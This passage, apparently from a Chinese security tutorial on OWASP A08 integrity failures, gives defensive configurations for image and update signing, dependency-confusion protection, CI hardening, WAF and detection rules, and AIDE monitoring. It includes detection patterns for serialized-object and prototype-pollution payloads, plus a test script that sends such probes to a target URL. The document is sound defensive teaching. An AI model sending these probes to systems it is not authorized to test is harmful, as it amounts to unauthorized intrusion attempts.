# 4. 部署时验证签名(关键步骤!)
cosign verify --key cosign.pub myregistry/myapp:v1.0.0
# 5. 在 K8s 中强制校验(用 policy-controller 或 Kyverno)
# Kyverno 策略示例:只运行已签名的镜像# Kyverno 策略:拒绝未签名的镜像
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: Enforce # 强制拒绝(而非仅告警)
background: false
rules:
- name: check-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "myregistry/*"
attestors:
- entries:
- keys:
publicKeys: |
-----BEGIN PUBLIC KEY-----
<cosign.pub 内容>
-----END PUBLIC KEY-----应用内更新包的签名校验:
// 客户端更新:下载后必须验签才能安装
public class SecureUpdater {
private static final String UPDATE_PUBLIC_KEY = "..."; // 内置公钥
public void applyUpdate(String downloadUrl, String signatureUrl) throws Exception {
// 1. 下载更新包
byte[] packageBytes = downloadFile(downloadUrl);
// 2. 下载签名
byte[] signature = downloadFile(signatureUrl);
// 3. 【关键】验证签名 —— 必须在解压/执行之前
if (!verifySignature(packageBytes, signature)) {
// 签名无效 → 立即中止,并记录安全事件
logSecurityEvent("UPDATE_SIGNATURE_INVALID", downloadUrl);
throw new SecurityException("更新包签名验证失败,已拒绝安装");
}
// 4. 额外校验哈希(可选,双保险)
String expectedHash = fetchExpectedHash();
String actualHash = sha256(packageBytes);
if (!expectedHash.equals(actualHash)) {
throw new SecurityException("更新包哈希不匹配");
}
// 5. 签名有效才解压安装
install(packageBytes);
}
private boolean verifySignature(byte[] data, byte[] signature) throws Exception {
Signature sig = Signature.getInstance("SHA256withRSA");
sig.initVerify(loadPublicKey(UPDATE_PUBLIC_KEY));
sig.update(data);
return sig.verify(signature);
}
}Go 模块的校验和数据库:
# Go 的 sum.golang.org 是防篡改的透明日志,可以校验模块完整性
# 确保 GONOSUMDB / GONOSUMCHECK 没有禁用校验
export GOSUMDB=sum.golang.org
export GOFLAGS=-mod=readonly
# 验证所有依赖
go mod verify
# 若需要私有模块,用 GONOSUMDB 指定跳过(但要知道这是在降低安全性)
export GONOSUMDB="*.company.internal"
export GOPRIVATE="*.company.internal"依赖混淆防护:scope + 私有源
# ===== npm: 强制 scope 走私有源 =====
# .npmrc
@company:registry=https://npm.internal.company.com/
//npm.internal.company.com/:_authToken=${NPM_TOKEN}
always-auth=true
# 关键点:
# - 所有私有包都使用 @company/ 前缀(scope)
# - .npmrc 中强制该 scope 只从私有源解析
# - 这样即使公共源上有同名包,也不会被误装
# ===== 额外防护:抢注公共包名 =====
# 在 npm/PyPI 上抢注公司的私有包名(发布一个空的或说明性的包)
# 成本极低,收益极高
# ===== 使用锁文件(关键)=====
# package-lock.json 记录了每个包的【解析来源】和【完整性哈希】
npm ci # 严格按 lock 文件安装,会校验 integrity 字段
# lock 文件中的 integrity 字段示例:
# "integrity": "sha512-xxx..."
# 这保证了即使源被污染,hash 不匹配也会安装失败# ===== Python: 强制私有源 + hash 校验 =====
# pip.conf
[global]
index-url = https://pypi.internal.company.com/simple
extra-index-url = https://pypi.org/simple
# ⚠️ extra-index-url 有风险:pip 会从所有源中找版本最高的
# 更安全:只用一个聚合源(如 Nexus/Artifactory 代理所有上游)
# 生成带 hash 的 requirements
pip-compile --generate-hashes requirements.in -o requirements.txt
# 安装时校验
pip install --require-hashes -r requirements.txt💡 踩坑提示:
extra-index-url是依赖混淆的温床 —— pip 会在所有配置的源里找版本最高的包,攻击者只需在 PyPI 上发一个更高版本号的同名包就能劫持。正确做法是用一个私有仓库代理所有上游源(Nexus / Artifactory / 云厂商的制品库),客户端只配一个源。
CI/CD 加固:保护「签名」这个动作本身
GitHub Actions 安全实践:
# ===== 安全的 workflow 配置 =====
name: Secure Build
on:
push:
branches: [main]
# ❌ 不要用 pull_request_target 检出并执行 PR 代码
pull_request:
branches: [main]
# 关键 1:最小权限原则
permissions:
contents: read # 只读代码
# 默认不给写权限(默认是 write,非常危险!)
jobs:
build:
runs-on: ubuntu-latest
steps:
# 关键 2:固定 action 到完整 commit SHA,而非可变标签
# ❌ uses: actions/checkout@v4 (标签可被移动)
# ✅ uses: actions/checkout@<SHA>
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
# 关键 3:事件数据通过 env 传递,不直接拼进 run
# ❌ run: echo "${{ github.event.issue.title }}" ← 命令注入!
- name: Process
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE" # ✅ 通过环境变量引用
# 关键 4:secrets 不输出到日志
- name: Use secret
env:
TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: |
# ❌ echo "token is $TOKEN" ← 会泄露
# GitHub 会自动掩码部分 secrets,但不要依赖它
deploy --token-stdin <<< "$TOKEN"
- name: Build
run: npm ci && npm run build
# 关键 5:为构建产物生成 SBOM
- name: Generate SBOM
run: syft dir:. -o cyclonedx-json > sbom.json
# 关键 6:为产物签名
- name: Sign artifact
env:
COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}
run: |
cosign sign-blob --key cosign.key \
--output-signature sbom.json.sig sbom.json
- uses: actions/upload-artifact@v4
with:
name: build-output
path: |
dist/
sbom.json
sbom.json.sig
deploy:
needs: build
runs-on: ubuntu-latest
# 关键 7:部署环境单独授权(需要人工审批)
environment: production
permissions:
contents: read
id-token: write # 用于 OIDC 免密登录云厂商
steps:
# 关键 8:部署前验证签名
- uses: actions/download-artifact@v4
- name: Verify signature
run: cosign verify-blob --key cosign.pub --signature sbom.json.sig sbom.json
- name: Deploy
run: ./deploy.shCI/CD 安全清单:
【权限】
□ workflow 的 permissions 显式最小化(默认是 write,很危险)
□ 云服务用 OIDC 免密登录,不存长期 AK/SK
□ 构建环境和生产环境隔离(不同的凭据)
□ 生产部署需要人工审批(environment protection rules)
【代码引用】
□ action 固定到 commit SHA(不是 @main / @v4)
□ 依赖使用锁文件
□ 基础镜像固定到 digest(不是 :latest)
【注入防护】
□ 事件数据(issue title / PR body)不直接拼进 run
□ 不执行 PR 中未审查的代码(pull_request_target 陷阱)
【产物完整性】
□ 生成 SBOM
□ 构建产物签名(cosign)
□ 部署前验证签名
□ 记录 provenance(SLSA)
【秘密管理】
□ secrets 不打印到日志
□ 定期轮换 secrets
□ 使用 OIDC 替代长期凭据
□ 审计 secrets 的访问记录运行时防护与文件完整性监控
WAF 规则(临时缓解):
# ===== 检测 Java 序列化魔数 =====
# rO0AB 是 base64 编码的 ac ed 00 05(Java 序列化魔数)
SecRule ARGS|ARGS_NAMES|REQUEST_BODY|REQUEST_HEADERS "@rx (rO0AB|ro0ab)" \
"id:9008001,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Java Serialized Object Detected',\
tag:'OWASP-A08',\
severity:'CRITICAL'"
# 检测二进制流的 Java 序列化魔数(未 base64 的情况)
SecRule REQUEST_BODY "@rx ^\xac\xed\x00\x05" \
"id:9008002,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Java Serialization Magic Bytes in Body',\
tag:'OWASP-A08'"
# ===== 检测 PHP 序列化特征 =====
SecRule ARGS|REQUEST_BODY "@rx [OaCs]:\d+:" \
"id:9008003,\
phase:2,\
deny,\
status:403,\
log,\
msg:'PHP Serialized Object Detected',\
tag:'OWASP-A08'"
# ===== 检测 Python pickle 特征 =====
SecRule REQUEST_BODY "@rx (^gASV|\x80\x04\x95|\x80\x05\x95)" \
"id:9008004,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Python Pickle Data Detected',\
tag:'OWASP-A08'"
# ===== 检测原型链污染 =====
SecRule ARGS|REQUEST_BODY "@rx (__proto__|constructor\s*\"?\s*:\s*\"?\s*\{|prototype\s*\"?\s*:)" \
"id:9008005,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Prototype Pollution Attempt',\
tag:'OWASP-A08'"
# ===== 检测 phar:// 伪协议 =====
SecRule ARGS|REQUEST_BODY "@rx (?i)phar://" \
"id:9008006,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Phar Protocol Detected',\
tag:'OWASP-A08'"RASP 防护:参考 A06 节的 RASP 介绍。RASP 在反序列化场景下特别有效 —— 它可以在运行时检测并阻断危险的 gadget chain。
检测规则
# 完整性相关检测规则
# 规则 1:反序列化攻击尝试
- id: deserialization-attempt
detection:
condition: any
rules:
- waf_rule_hit: [9008001, 9008002, 9008003, 9008004]
- app_log_pattern: "ObjectInputStream|InvalidClassException|ClassNotFoundException.*readObject"
action: [alert_soc, block_ip]
severity: critical
# 规则 2:文件完整性监控(关键服务器)
- id: file-integrity-monitoring
detection:
monitors:
- path: /usr/local/bin/*
- path: /opt/app/lib/*.jar
- path: /etc/cron*
- path: /root/.ssh/authorized_keys
event: file_modified
exclude: [deployment_window, package_update]
action: [alert_soc, snapshot_diff]
severity: high
note: "非部署窗口期的二进制变更,高度可疑"
# 规则 3:CI/CD 异常
- id: cicd-anomaly
detection:
condition: any
rules:
- build_triggered_by: unknown_user
- build_config_modified_outside_pr
- artifact_hash_mismatch
- signature_verification_failed
action: [halt_pipeline, alert_sec]
severity: critical
# 规则 4:依赖来源异常
- id: dependency-source-anomaly
detection:
condition: any
rules:
- package_downloaded_from: non_approved_registry
- package_hash_mismatch: true
- package_published_less_than: 7d # 刚发布就被使用,可疑
action: [block, alert_sec]
severity: high文件完整性监控工具:
# AIDE(Advanced Intrusion Detection Environment)—— 主机文件完整性监控
# 安装
apt install aide -y # Debian/Ubuntu
yum install aide -y # RHEL/CentOS
# 初始化数据库(基线)
aideinit
# 或
aide --init && mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
# 定期检查
aide --check
# 输出所有文件的变更(新增/删除/修改)
# 配置: /etc/aide/aide.conf
# 示例规则
cat >> /etc/aide/aide.conf << 'EOF'
# 监控应用目录(任何变更都告警)
/opt/app/bin R+a+sha256
/usr/local/bin R+a+sha256
/etc/cron.d R+a+sha256
/root/.ssh R+a+sha256
# 日志目录只监控新增,不监控内容变化
/var/log L
EOF
# 加入 crontab 每天检查
echo "0 3 * * * /usr/bin/aide --check | mail -s 'AIDE Report' sec@company.com" >> /etc/crontab回归验证清单
#!/usr/bin/env bash
# A08 完整性防护回归验证
# 用法: bash verify_integrity.sh https://target.com
TARGET="$1"
PASS=0; FAIL=0
echo "===== 1. 反序列化 payload 应被拒绝 ====="
# 生成一个无害的 Java 序列化对象(HashMap)
# rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAEdGVzdHEAfgACeA==
SER_B64="rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAEdGVzdHEAfgACeA=="
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/data" \
-H "Content-Type: application/octet-stream" \
--data-binary "$(echo "$SER_B64" | base64 -d)")
if [ "$code" = "403" ] || [ "$code" = "400" ]; then
echo "[PASS] Java 序列化数据被拒绝 ($code)"; PASS=$((PASS+1))
else
echo "[FAIL] 序列化数据返回 $code(应拒绝)"; FAIL=$((FAIL+1))
fi
# 测试几个已知的危险 gadget 特征
for pattern in "rO0AB" "aced0005" "O:4:" "gASV"; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/test" \
-H "Content-Type: application/json" \
-d "{\"data\":\"$pattern\"}")
if [ "$code" = "403" ] || [ "$code" = "400" ]; then
echo "[PASS] 危险模式 '$pattern' 被拦截"; PASS=$((PASS+1))
else
echo "[WARN] '$pattern' 返回 $code"
fi
done
echo
echo "===== 2. 原型链污染防护 ====="
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/user/update" \
-H "Content-Type: application/json" \
-d '{"name":"test","__proto__":{"isAdmin":true}}')
if [ "$code" = "400" ] || [ "$code" = "403" ]; then
echo "[PASS] __proto__ 注入被拒绝"; PASS=$((PASS+1))
else
echo "[WARN] __proto__ 注入返回 $code,需人工确认是否污染成功"
fi
echo
echo "===== 3. 依赖完整性(本地检查)====="
if [ -f "package-lock.json" ]; then
# 校验所有依赖的 integrity 字段
echo "[*] 执行 npm ci 验证依赖完整性..."
npm ci --dry-run 2>&1 | tail -3 && \
(echo "[PASS] 依赖完整性校验通过"; PASS=$((PASS+1))) || \
(echo "[FAIL] 依赖完整性校验失败"; FAIL=$((FAIL+1)))
fi
echo
echo "===== 4. 镜像签名验证 ====="
if [ -n "${IMAGE:-}" ] && command -v cosign &> /dev/null; then
cosign verify --key cosign.pub "$IMAGE" > /dev/null 2>&1 \
&& (echo "[PASS] 镜像签名验证通过"; PASS=$((PASS+1))) \
|| (echo "[FAIL] 镜像签名验证失败"; FAIL=$((FAIL+1)))
else
echo "[SKIP] 未设置 IMAGE 或 cosign 未安装"
fi
echo
echo "===== 5. 更新包签名验证 ====="
UPDATE_URL="${UPDATE_URL:-https://update.company.com/latest.zip}"
SIG_URL="${UPDATE_URL}.sig"
# 检查签名文件是否存在
code=$(curl -s -o /dev/null -w "%{http_code}" "$SIG_URL" --max-time 8)
if [ "$code" = "200" ]; then
echo "[PASS] 更新包提供签名文件"; PASS=$((PASS+1))
else
echo "[FAIL] 更新包无签名文件 ($code)"; FAIL=$((FAIL+1))
fi
echo
echo "===== 6. 更新通道使用 HTTPS ====="
if echo "$UPDATE_URL" | grep -q "^https://"; then
echo "[PASS] 更新通道使用 HTTPS"; PASS=$((PASS+1))
else
echo "[FAIL] 更新通道使用明文 HTTP"; FAIL=$((FAIL+1))
fi
echo
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"修复清单:
- [ ] 所有反序列化入口已加白名单校验(ObjectInputFilter / 受限 Unpickler)
- [ ] 已用 JSON 替代原生序列化(或至少不再反序列化不可信数据)
- [ ] fastjson 开启 safeMode
- [ ] 递归 merge 已过滤
__proto__/constructor/prototype - [ ] 更新包有签名,且客户端在安装前验签
- [ ] 更新通道使用 HTTPS
- [ ] 容器镜像有签名,部署前验证
- [ ] 私有依赖使用 scope + 私有源,不在公共源暴露
- [ ] 依赖使用锁文件,且校验 integrity hash
- [ ] CI 权限最小化,action 固定到 commit SHA
- [ ] 构建产物生成 SBOM 并签名
- [ ] 关键服务器启用文件完整性监控(AIDE)
- [ ] WAF 已配置反序列化特征拦截规则
最后:签名只能证明「谁签的」
A08 是十项里**最"体系化"**的一项 —— 它不像 SQL 注入那样有个明确的"危险函数",而是贯穿了"开发 → 构建 → 分发 → 运行"的整条链路。
核心认知就一句话:加密不保证完整性,签名才保证完整性。
几个最实际的行动项:
- 停止反序列化不可信数据 —— 这是根治方案。用 JSON,或加严格白名单。pickle / BinaryFormatter /
unserialize()这三个尤其危险。 - 所有"下载后执行"的场景都要验签 —— 自动更新、插件、容器镜像。签名必须在执行前验证,解压前就要验。
- 依赖用锁文件 + 私有源 scope —— 防依赖混淆,成本极低收益极高。
- CI 权限最小化 + action 固定 SHA + 产物签名 —— 构建管道是攻击者的高价值目标,因为它签的东西大家都信。
- 文件完整性监控(AIDE) —— 最后一道检测防线,能发现"已经进来了"的攻击者。
最后强调一个 SolarWinds 的核心教训:签名只能证明"谁签的",不能证明"代码是干净的"。 所以光有签名不够,还得保护签名这个动作本身 —— 也就是 CI/CD 管道的安全。这两者是一体的。
⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。